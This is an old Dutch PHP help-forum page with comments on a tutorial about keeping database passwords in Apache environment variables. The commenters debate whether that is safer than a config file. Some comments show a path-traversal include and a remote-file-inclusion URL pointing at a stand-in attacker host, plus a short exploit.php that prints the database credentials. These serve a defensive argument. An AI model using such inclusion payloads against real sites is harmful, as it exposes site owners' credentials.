Veilig opslaan database wachtwoorden

Door Onbekend onbekend, 23 jaar geleden, 7.554x bekeken

Haal je database wachtwoord binnen met $_SERVER['db_pass']; ipv include('dbvars.php');

Gesponsorde koppelingen

Inhoudsopgave

  1. Waarom deze tut?
  2. Hoe gaat het in z'n werk?
  3. Slot

 

Er zijn 34 reacties op 'Beveiliging'

PHP hulp
PHP hulp
0 seconden vanaf nu
 

Gesponsorde koppelingen
Onbekend onbekend
onbekend onbekend
23 jaar geleden
 
0 +1 -0 -1
Ik ben er wel vanuit gegaan dat je met apache werkt.
Jelmer -
Jelmer -
23 jaar geleden
 
0 +1 -0 -1
Dit kan alleen op een eigen (gehuurde) server zo te zien. Wel jammer.
Ach ja, desnoots kun je hem nog instellen via
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
<?php
$_SERVER['dbuser'] = "jelmer";
echo $_SERVER['dbuser'];
?>

voor als je scripts op internet zet (bijv. hier in de scriptlib). Maar dan is het hele nut ervan wel weg.
Mitch X
Mitch X
23 jaar geleden
 
0 +1 -0 -1
Aangezien de meeste mensen deze access alleen lokaal hebben, en niet voor hun site, is dit vrij nutteloos.

En dan blijft de vraag, hoe stom ben je las iemand je password uit kan lezen?
Het openen van een php file op afstand gaat niet zonder dat deze geparsed wordt, dus iemand is dan al in bijv. je ftp ...
Jelmer -
Jelmer -
23 jaar geleden
 
0 +1 -0 -1
Of iemand is zo stom om zijn includefile .PHP als extensie te geven, in hoofdletters. Dan wordt het niet geparsed.
(ben het 1 keer bij iemand tegen gekomen, hij zei natuurlijk dat het een oud wachtwoord was, dat niet meer gebruikt werd. Maar daarnaa zag je overal op zijn site dat het wachtwoord niet meer klopte, en de scripts geen verbinding meer konden maken met de db. ^^,)
Onbekend onbekend
onbekend onbekend
23 jaar geleden
 
0 +1 -0 -1
Of je zit op een gedeelde host, en iemand haalt met ../../../mitchmap/www/dbvars.php jou wachtwoorden file naar binnen :-) (kan alleen op slecht beveiligde servers)


23 jaar geleden
 
0 +1 -0 -1
@***: dan heb je de verkeerde host gekozen :D

verder vind ik dit ook een beetje nutteloos. idd alleen als je een eigen server hebt en waarom zou je die SetEnv niet meteen in httpd.conf zetten?
Onbekend onbekend
onbekend onbekend
23 jaar geleden
 
0 +1 -0 -1
@X-Ray:

Ja, als je host zo slecht is geconfigureerd dan heb je idd een verkeerde host genomen, zonder twijfel!

Waarom zou je SetEnv w?l in je httpd.conf zetten? Op deze manier houd je je wachtwoorden gescheide van de rest van de code.

En je vind het nutteloos? Het doel lijkt me duidelijk; Het veilig opslaan van je database wachtwoorden!
Jelmer -
Jelmer -
23 jaar geleden
 
0 +1 -0 -1
Klein lekje, en je kunt
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
<?php echo $_SERVER['db_pass'];?>
uitvoeren. Ben je weer terug bij af.
Onbekend onbekend
onbekend onbekend
23 jaar geleden
 
0 +1 -0 -1
Hoezo lek?

Anders kan je toch ook gewoon
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
<?php echo $db_pass; ?>
doen?
Ben je wel heel onnozel als je dat doet :D

Het ging ook om het veilig opslaan, de plaats waar je je wachtwoord nu hebt opgeslagen is veilig... gewoon niet te benaderen vanaf het web.

Je moet alleen wel opletten met het gebruik van print_r($_SERVER); en phpinfo();.
Hierbij geef je niet aan dat je je wachtwoord wilt weergeven, maar word dat wel gedaan!


23 jaar geleden
 
0 +1 -0 -1
Het gebruiken van ,INC extenties is superdom vind ik, zodra je deze opent met wordpad heb je het pass gelijk dus niet slim. Save hem gewoon in een .PHP file en je bent veilig, de webserver persed hem dus niemand zal hem ooit kunnen zien;)
Have fun

XanaX
Legolas
Legolas
23 jaar geleden
 
0 +1 -0 -1
Hangt er van af, mijn host parsed ook .inc


23 jaar geleden
 
0 +1 -0 -1
zet gewoon de files met passwords etc buiten je public_html dir. Dat werkt het beste ;)


23 jaar geleden
 
0 +1 -0 -1
"En je vind het nutteloos? Het doel lijkt me duidelijk; Het veilig opslaan van je database wachtwoorden!"

als je het gewoon in een .php bestand (of .inc of iets anders, zolang het maar geparsed wordt) is het al veilig opgeslagen.

Je moet dan alleen veilig _omgaan_ met die variabelen en het bestand waarin ze staan.

Men heeft dus meer aan een tut over allerlei beveiligingslekken en hoe deze op te lossen/tegen te gaan dan aan dit soort onnozele dingen.
Onbekend onbekend
onbekend onbekend
23 jaar geleden
 
0 +1 -0 -1
Wanneer heb je die tut klaar? Ik kan niet wachten om em te lezen!
Numlockrond
numlockrond
23 jaar geleden
 
0 +1 -0 -1
duurt nog wel ff, heb momenteel geen tijd.

edit: maar op andere sites (phpfreakz.nl bijv.) is al zoiets te vinden.

Edit2: maar je kunt ook gewoon toegeven dat je hier stoer loopt te doen met een tutorial die nergens over gaat.


23 jaar geleden
 
0 +1 -0 -1
Dit is alleen nuttig als je 1 database op 1 hele server gebruikt, verder niet. Ik zou inderdaad het wachtwoord uberhaubt nooit in een .inc-bestand opslaan, maar in een bestand die eindigt op .php. Vervolgens zet ik dat bestand sowieso in een niet-webaccessible directory. Dit laatste is bijna altijd wel mogelijk, zelfs bij servers waar je maar een beperkte toegang hebt (zoals bij virtual hosting)
Arend a
Arend a
23 jaar geleden
 
0 +1 -0 -1
Quote:
Het nadeel hiervan is, helemaal als je meer beveiliginslekken in je website hebt, dat de onbevoegden deze pagina kunnen benaderen en op slimme wijze je wachtwoord kunnen achterhalen.


Geval 1:
Benodigd voor toegang wachtwoord: Leesrechten over dbvars.php

Geval 2:
Benodigd voor toegang wachtwoord: Wachtwoord toegankelijk voor elk script

Is dit een security-through-obscurity-geval? (veiligheid door obscure methoden?)

Mijn punt:
Dit gaat helemaal nergens over. Dit is het van de regen in de drup helpen van mensen

Ik zie namelijk totaal niet in waarom dit veiliger is dan het eerste geval. In plaats van dat het op ??n controleerbare plaats staat, geef je je wachtwoord gratis weg aan ELK script wat door de webserver wordt uitgevoerd, of toegang tot de Enviroment variabelen van de server heeft.

Ik kies uit veiligheidsoogpunt zeker voor de eerste optie. Ik wil dit aan iedereen van harte afraden.

In geval van de slecht beveligde server kan men altijd nog (fread of include zonder controle waar het heengaat):
file.php?pagian=http://slechteevilgast.nl/exploit.php

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
<?
// exploit.php:
echo $_SERVER['db_pass'];
echo $_SERVER['db_user'];
?>


Het punt is namelijk helemaal niet WAAR je je db wachtwoorden opslaat. Maar dat je gaten hebt waardoor de configuratiefiles te lezen zijn. En op het moment dat een evil gast de mogelijkheid heeft tot het uitvoeren van script is het einde zowiezo zoek.


23 jaar geleden
 
0 +1 -0 -1
Ik ben het met Arend eens. Liever je wachtwoorden op een gecontroleerde plaats dan onbeperkt en overal aan te roepen.

Nog een klein tipje: Je kan zelfs door de functie "defined" toegang van php-bestanden tot het wachtwoord-file beperken.

Denk aan:

Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
5
6
7
8
9
10
11
12
<?
if (!defined("JouwDefineVariable")) {
  // print mededeling naar scherm
  print "Error, this ip ".$_SERVER[REMOTE_ADDR]." has been recorded on page:
  ".$_SERVER['PHP_SELF'];
  // hieronder vervolgens een mail- of database-functie die vastlegt wat er is
  // gebeurt en de webmaster waarschuwt.

  // en exit
  exit;
}
?>


23 jaar geleden
 
0 +1 -0 -1
@norvo: als je gewoon je wachtwoord als (php)variabele in dat script hebt staan voegt dat ook niks toe.
Onbekend onbekend
onbekend onbekend
23 jaar geleden
 
0 +1 -0 -1
Natuurlijk slaat niemand z'n database wachtwoorden in een .inc bestand op, maar degene die dit login script gebruiken zitten al met het probleem!

http://www.phphulp.nl/php/tutorials/2/167/309/

De wat meer gevorderde zal het misschien aanpassen, maar een beginner neemt het kwakkeloos over...
Onbekend onbekend
onbekend onbekend
23 jaar geleden
 
0 +1 -0 -1
De gevorderde lapini bouwd er ook lekker op door!

http://www.phphulp.nl/php/scripts/3/367/

Ik zal nog even naar wat meer scripts zoeken hier die db passwords opslaan in een .inc bestand...


23 jaar geleden
 
0 +1 -0 -1
hallo hier met jan groen,

ik wilde graag mijn homepage beveiligen tegen printen maar hoe doe ik dat?

alvast bedankt
Onbekend onbekend
onbekend onbekend
23 jaar geleden
 
0 +1 -0 -1
Dat kan niet :D
Legolas
Legolas
23 jaar geleden
 
0 +1 -0 -1
nou, het schijnt moegelijk te zijn css style te maken voor on screen / print only kun je print helemaal wit maken :P
Jelmer -
Jelmer -
23 jaar geleden
 
0 +1 -0 -1
http://www.w3schools.com/css/css_mediatypes.asp
En dan zou je in het print-stylesheet kunnen zetten dat alles wordt verborgen.
Maar zoals altijd, voor de wt meer gevorderde gebruiker, als hij het wil printen, dan zal hem dat zeker ook (misschien met wat meer moeite) lukken.


23 jaar geleden
 
0 +1 -0 -1
Hoi,

Tuts over beveiligingen vind ik altijd leuk, vb;
** dbvars.inc **
Code (php)
PHP script in nieuw venster Selecteer het PHP script
1
2
3
4
<?php
$db_user = "username";
$db_pass = "wachtwoord";
?>


--> Het nadeel hiervan is, helemaal als je meer beveiliginslekken in je website hebt, dat de onbevoegden deze pagina kunnen benaderen en op slimme wijze je wachtwoord kunnen achterhalen.

Maar wat ik telkens mis is 'HOE' een ander deze variabelen kan oproepen. Niet dat ik op zoek ben naar methodes om dit te doen.

Maar als we als beginner weten hoe dit gedaan wordt, dan kunnen we er in het vervolg mee rekening houden. Of heb ik het mis?

grtz


22 jaar geleden
 
0 +1 -0 -1
tumbler -> INDERDAAD! Hoe doen ze dat dan. Ik ben altijd uren bezig om alles dicht te bouwen, maar heb geen idee hoe ze eigenlijk naar binnen komen.
Ton
ton
22 jaar geleden
 
0 +1 -0 -1
Marinka schreef op 21.09.2005 00:07
tumbler -> INDERDAAD! Hoe doen ze dat dan. Ik ben altijd uren bezig om alles dicht te bouwen, maar heb geen idee hoe ze eigenlijk naar binnen komen.

Kijk hier eens rond en speel beide levels uit misschien krijg je dan een idee
http://quiz.ngsec.com/
Robin
Robin
22 jaar geleden
 
0 +1 -0 -1
Hallo,

Ik ben nog vrij nieuw met het beveiligen van dit soort zaken en vroeg me het volgende af. Ik heb mijn wachtwoorden opgeslagen in een bestand "config.php" dat op bijna elke pagina geinclude word. Is dit dan niet veilig ?? en zo nee welke stappen kan ik dan het beste ondernemen om deze gegevens het beste te beveiligen ??

gr
Katjan
katjan
21 jaar geleden
 
0 +1 -0 -1
als je toch al beveiligingslekken hebt, is aan root rechten komen ook niet zon probleem, aangezien php daar zelf ook op moet draaien;)
Legolas
Legolas
21 jaar geleden
 
0 +1 -0 -1
Hoeft niet, kan ook zonder root rechten draaien of in een chroot...
Majid Ahddin
Majid Ahddin
21 jaar geleden
 
0 +1 -0 -1
Sla "secrets" als protected of private var op in je main class. Je DB class of je master class. Dan kan ie nooit geprint worden, alleen als je dat zelf in je class hebt gescript (en dan ben je wel echt heel erg stom!) maar wel gebruikt worden om DBConn te maken.
Makkelijk, snel, veilig.
Jelmer -
Jelmer -
21 jaar geleden
 
0 +1 -0 -1
probeer eens reflection of var_dump, volgens mij geven ze allebei het antwoord wel ;)
PHP hulp
PHP hulp
0 seconden vanaf nu
 

Gesponsorde koppelingen
Niek Kasius
Niek Kasius
20 jaar geleden
 
0 +1 -0 -1
sorry!!! maar hebben jullie de scripts en tutotials hier op de site al eens goed bekeken? ik wel, en dan nog niet eens allemaal, maar die ik gezien heb is toch zeker 25 a 30% niet in orde, want daar zag ik heel vaak soortgelijke connects het script staan inplaats van include ("config of connect");

$server = "localhost"; // je host
$gebruiker = ".."; // gebruikersnaam
$wachtwoord = ".."; // je wachtwoord
$database = ".."; // je database

mysql_connect($server, $gebruiker, $wachtwoord) or die (mysql_error());
mysql_select_db($database) or die (mysql_error());

Om te reageren heb je een account nodig en je moet ingelogd zijn.

Inhoudsopgave

  1. Waarom deze tut?
  2. Hoe gaat het in z'n werk?
  3. Slot

Labels

  • Geen tags toegevoegd.

PHP tutorial opties

 
 

Om de gebruiksvriendelijkheid van onze website en diensten te optimaliseren maken wij gebruik van cookies. Deze cookies gebruiken wij voor functionaliteiten, analytische gegevens en marketing doeleinden. U vindt meer informatie in onze privacy statement.